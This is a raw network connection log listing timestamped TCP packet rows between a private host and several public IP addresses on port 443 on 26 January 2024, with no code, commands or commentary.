Jan 26, 2024 10:16:10.396997929 CET	443	49727	64.233.185.99	192.168.2.16
Jan 26, 2024 10:16:10.444652081 CET	49727	443	192.168.2.16	64.233.185.99
Jan 26, 2024 10:16:10.444684029 CET	443	49727	64.233.185.99	192.168.2.16
Jan 26, 2024 10:16:10.492598057 CET	49727	443	192.168.2.16	64.233.185.99
Jan 26, 2024 10:16:13.140275955 CET	49728	443	192.168.2.16	13.85.23.86
Jan 26, 2024 10:16:13.140373945 CET	443	49728	13.85.23.86	192.168.2.16
Jan 26, 2024 10:16:13.140472889 CET	49728	443	192.168.2.16	13.85.23.86
Jan 26, 2024 10:16:13.145093918 CET	49728	443	192.168.2.16	13.85.23.86
Jan 26, 2024 10:16:13.145127058 CET	443	49728	13.85.23.86	192.168.2.16
Jan 26, 2024 10:16:13.549613953 CET	443	49728	13.85.23.86	192.168.2.16
Jan 26, 2024 10:16:13.549840927 CET	49728	443	192.168.2.16	13.85.23.86
Jan 26, 2024 10:16:13.553708076 CET	49728	443	192.168.2.16	13.85.23.86
Jan 26, 2024 10:16:13.553736925 CET	443	49728	13.85.23.86	192.168.2.16
Jan 26, 2024 10:16:13.554817915 CET	443	49728	13.85.23.86	192.168.2.16
Jan 26, 2024 10:16:13.606678963 CET	49728	443	192.168.2.16	13.85.23.86
Jan 26, 2024 10:16:13.677031994 CET	49728	443	192.168.2.16	13.85.23.86
Jan 26, 2024 10:16:13.721951962 CET	443	49728	13.85.23.86	192.168.2.16
Jan 26, 2024 10:16:13.928459883 CET	443	49728	13.85.23.86	192.168.2.16
Jan 26, 2024 10:16:13.928515911 CET	443	49728	13.85.23.86	192.168.2.16
Jan 26, 2024 10:16:13.928535938 CET	443	49728	13.85.23.86	192.168.2.16
Jan 26, 2024 10:16:13.928556919 CET	443	49728	13.85.23.86	192.168.2.16
Jan 26, 2024 10:16:13.928596973 CET	443	49728	13.85.23.86	192.168.2.16
Jan 26, 2024 10:16:13.928616047 CET	443	49728	13.85.23.86	192.168.2.16
Jan 26, 2024 10:16:13.928647041 CET	49728	443	192.168.2.16	13.85.23.86
Jan 26, 2024 10:16:13.928719997 CET	443	49728	13.85.23.86	192.168.2.16
Jan 26, 2024 10:16:13.928761959 CET	443	49728	13.85.23.86	192.168.2.16
Jan 26, 2024 10:16:13.928762913 CET	49728	443	192.168.2.16	13.85.23.86
Jan 26, 2024 10:16:13.928786993 CET	49728	443	192.168.2.16	13.85.23.86
Jan 26, 2024 10:16:13.928812027 CET	443	49728	13.85.23.86	192.168.2.16
Jan 26, 2024 10:16:13.928838015 CET	49728	443	192.168.2.16	13.85.23.86
Jan 26, 2024 10:16:13.928867102 CET	49728	443	192.168.2.16	13.85.23.86
Jan 26, 2024 10:16:13.928883076 CET	443	49728	13.85.23.86	192.168.2.16
Jan 26, 2024 10:16:13.929023981 CET	443	49728	13.85.23.86	192.168.2.16
Jan 26, 2024 10:16:13.929097891 CET	49728	443	192.168.2.16	13.85.23.86
Jan 26, 2024 10:16:13.954823971 CET	49728	443	192.168.2.16	13.85.23.86
Jan 26, 2024 10:16:13.954853058 CET	443	49728	13.85.23.86	192.168.2.16
Jan 26, 2024 10:16:13.954885006 CET	49728	443	192.168.2.16	13.85.23.86
Jan 26, 2024 10:16:13.954899073 CET	443	49728	13.85.23.86	192.168.2.16
Jan 26, 2024 10:16:15.426752090 CET	49703	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:16:15.426839113 CET	49703	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:16:15.432279110 CET	49731	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:16:15.432352066 CET	443	49731	23.1.237.25	192.168.2.16
Jan 26, 2024 10:16:15.432415962 CET	49731	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:16:15.432809114 CET	49731	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:16:15.432831049 CET	443	49731	23.1.237.25	192.168.2.16
Jan 26, 2024 10:16:15.576479912 CET	443	49703	23.1.237.25	192.168.2.16
Jan 26, 2024 10:16:15.576527119 CET	443	49703	23.1.237.25	192.168.2.16
Jan 26, 2024 10:16:15.758825064 CET	443	49731	23.1.237.25	192.168.2.16
Jan 26, 2024 10:16:15.758951902 CET	49731	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:16:20.393794060 CET	443	49727	64.233.185.99	192.168.2.16
Jan 26, 2024 10:16:20.393871069 CET	443	49727	64.233.185.99	192.168.2.16
Jan 26, 2024 10:16:20.393924952 CET	49727	443	192.168.2.16	64.233.185.99
Jan 26, 2024 10:16:22.094196081 CET	49727	443	192.168.2.16	64.233.185.99
Jan 26, 2024 10:16:22.094228983 CET	443	49727	64.233.185.99	192.168.2.16
Jan 26, 2024 10:16:34.896065950 CET	443	49731	23.1.237.25	192.168.2.16
Jan 26, 2024 10:16:34.896173000 CET	49731	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:16:50.469016075 CET	49732	443	192.168.2.16	13.85.23.86
Jan 26, 2024 10:16:50.469098091 CET	443	49732	13.85.23.86	192.168.2.16
Jan 26, 2024 10:16:50.469208956 CET	49732	443	192.168.2.16	13.85.23.86
Jan 26, 2024 10:16:50.469976902 CET	49732	443	192.168.2.16	13.85.23.86
Jan 26, 2024 10:16:50.470056057 CET	443	49732	13.85.23.86	192.168.2.16
Jan 26, 2024 10:16:50.867952108 CET	443	49732	13.85.23.86	192.168.2.16
Jan 26, 2024 10:16:50.868093014 CET	49732	443	192.168.2.16	13.85.23.86
Jan 26, 2024 10:16:50.871200085 CET	49732	443	192.168.2.16	13.85.23.86
Jan 26, 2024 10:16:50.871257067 CET	443	49732	13.85.23.86	192.168.2.16
Jan 26, 2024 10:16:50.871608973 CET	443	49732	13.85.23.86	192.168.2.16
Jan 26, 2024 10:16:50.873382092 CET	49732	443	192.168.2.16	13.85.23.86
Jan 26, 2024 10:16:50.917897940 CET	443	49732	13.85.23.86	192.168.2.16
Jan 26, 2024 10:16:51.250462055 CET	443	49732	13.85.23.86	192.168.2.16
Jan 26, 2024 10:16:51.250504971 CET	443	49732	13.85.23.86	192.168.2.16
Jan 26, 2024 10:16:51.250528097 CET	443	49732	13.85.23.86	192.168.2.16
Jan 26, 2024 10:16:51.250616074 CET	49732	443	192.168.2.16	13.85.23.86
Jan 26, 2024 10:16:51.250684977 CET	443	49732	13.85.23.86	192.168.2.16
Jan 26, 2024 10:16:51.250730038 CET	443	49732	13.85.23.86	192.168.2.16
Jan 26, 2024 10:16:51.250730038 CET	49732	443	192.168.2.16	13.85.23.86
Jan 26, 2024 10:16:51.250763893 CET	49732	443	192.168.2.16	13.85.23.86
Jan 26, 2024 10:16:51.250778913 CET	443	49732	13.85.23.86	192.168.2.16
Jan 26, 2024 10:16:51.250812054 CET	49732	443	192.168.2.16	13.85.23.86
Jan 26, 2024 10:16:51.250840902 CET	49732	443	192.168.2.16	13.85.23.86
Jan 26, 2024 10:16:51.250853062 CET	443	49732	13.85.23.86	192.168.2.16
Jan 26, 2024 10:16:51.250885010 CET	443	49732	13.85.23.86	192.168.2.16
Jan 26, 2024 10:16:51.250900984 CET	49732	443	192.168.2.16	13.85.23.86
Jan 26, 2024 10:16:51.250927925 CET	49732	443	192.168.2.16	13.85.23.86
Jan 26, 2024 10:16:51.254189014 CET	49732	443	192.168.2.16	13.85.23.86
Jan 26, 2024 10:16:51.254189014 CET	49732	443	192.168.2.16	13.85.23.86
Jan 26, 2024 10:16:51.254252911 CET	443	49732	13.85.23.86	192.168.2.16
Jan 26, 2024 10:16:51.254288912 CET	443	49732	13.85.23.86	192.168.2.16
Jan 26, 2024 10:17:10.096455097 CET	49734	443	192.168.2.16	64.233.185.99
Jan 26, 2024 10:17:10.096498013 CET	443	49734	64.233.185.99	192.168.2.16
Jan 26, 2024 10:17:10.096735001 CET	49734	443	192.168.2.16	64.233.185.99
Jan 26, 2024 10:17:10.096980095 CET	49734	443	192.168.2.16	64.233.185.99
Jan 26, 2024 10:17:10.096999884 CET	443	49734	64.233.185.99	192.168.2.16
Jan 26, 2024 10:17:10.318857908 CET	443	49734	64.233.185.99	192.168.2.16
Jan 26, 2024 10:17:10.319212914 CET	49734	443	192.168.2.16	64.233.185.99
Jan 26, 2024 10:17:10.319242001 CET	443	49734	64.233.185.99	192.168.2.16
Jan 26, 2024 10:17:10.320482969 CET	443	49734	64.233.185.99	192.168.2.16
Jan 26, 2024 10:17:10.320880890 CET	49734	443	192.168.2.16	64.233.185.99
Jan 26, 2024 10:17:10.321058989 CET	443	49734	64.233.185.99	192.168.2.16
Jan 26, 2024 10:17:10.365628958 CET	49734	443	192.168.2.16	64.233.185.99
Jan 26, 2024 10:17:11.311763048 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:11.311811924 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:11.311894894 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:11.324232101 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:11.324265003 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:11.762428045 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:11.762677908 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:11.765752077 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:11.765822887 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:11.766280890 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:11.774607897 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:11.817945957 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.213825941 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.264667988 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:12.420207977 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.420244932 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.420262098 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.420310974 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.420335054 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.420399904 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:12.420476913 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.420516014 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:12.420522928 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.420557022 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.420572042 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:12.420572042 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:12.420582056 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.420631886 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:12.420664072 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:12.626697063 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.626758099 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.626817942 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:12.626882076 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.626919985 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:12.626924992 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.626940012 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:12.626960039 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.626996040 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:12.627017021 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:12.627031088 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.627055883 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.627094030 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:12.627145052 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:12.627151012 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.627175093 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.627211094 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.627242088 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:12.627242088 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:12.627274990 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.627302885 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:12.627325058 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:12.833869934 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.833965063 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.834038019 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:12.834127903 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.834165096 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.834187031 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:12.834187031 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:12.834222078 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.834232092 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:12.834258080 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.834287882 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:12.834332943 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:12.834458113 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.834510088 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.834542036 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:12.834556103 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.834585905 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:12.834605932 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:12.834631920 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.834673882 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.834707022 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:12.834717989 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.834750891 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:12.834772110 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:12.834820986 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.834866047 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.834897041 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:12.834908009 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.834944963 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:12.834944963 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:12.843048096 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:12.872524977 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.872592926 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.872642040 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:12.872688055 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:12.872719049 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:12.872740984 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.041399956 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.041464090 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.041609049 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.041636944 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.041636944 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.041659117 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.041707993 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.041760921 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.041760921 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.041872025 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.041943073 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.041943073 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.041985989 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.042026043 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.042140007 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.042193890 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.042215109 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.042228937 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.042268991 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.042429924 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.042470932 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.042495012 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.042509079 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.042540073 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.042687893 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.042711973 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.042747021 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.042751074 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.042771101 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.043076038 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.043096066 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.043134928 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.043138981 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.043167114 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.043528080 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.043553114 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.043593884 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.043600082 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.043625116 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.043952942 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.043972015 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.044013023 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.044018030 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.044044018 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.044364929 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.044389963 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.044423103 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.044426918 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.044452906 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.044776917 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.044795990 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.044835091 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.044838905 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.044864893 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.053778887 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.065920115 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.079009056 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.079077959 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.079200029 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.079229116 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.079229116 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.079251051 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.079282999 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.079283953 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.079304934 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.079334974 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.197324038 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.251311064 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.251367092 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.251497030 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.251533985 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.251533985 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.251549006 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.251604080 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.251655102 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.251655102 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.252089977 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.252130032 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.252300024 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.252300978 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.252367020 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.252469063 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.252513885 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.252644062 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.252644062 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.252707958 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.252867937 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.252904892 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.252938032 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.252954960 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.252990007 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.253413916 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.253459930 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.253479958 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.253494024 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.253535986 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.253582001 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.253621101 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.253647089 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.253659010 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.253689051 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.253751040 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.253794909 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.253813982 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.253825903 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.253858089 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.253940105 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.253981113 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.254004955 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.254015923 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.254044056 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.254100084 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.254144907 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.254160881 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.254173994 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.254210949 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.254235029 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.254273891 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.254303932 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.254313946 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.254343987 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.254520893 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.254565954 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.254575014 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.254599094 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.254640102 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.254981995 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.255022049 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.255053043 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.255064011 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.255099058 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.255177021 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.255233049 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.255248070 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.255259991 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.255314112 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.255373955 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.255413055 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.255445957 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.255460978 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.255486012 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.255513906 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.255565882 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.255597115 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.255608082 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.255626917 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.255728006 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.255764961 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.255798101 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.255810022 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.255836964 CET	49735	443	192.168.2.16	91.107.214.239
Jan 26, 2024 10:17:13.256098986 CET	443	49735	91.107.214.239	192.168.2.16
Jan 26, 2024 10:17:13.256140947 CET	443	49735	91.107.214.239	192.168.2.16
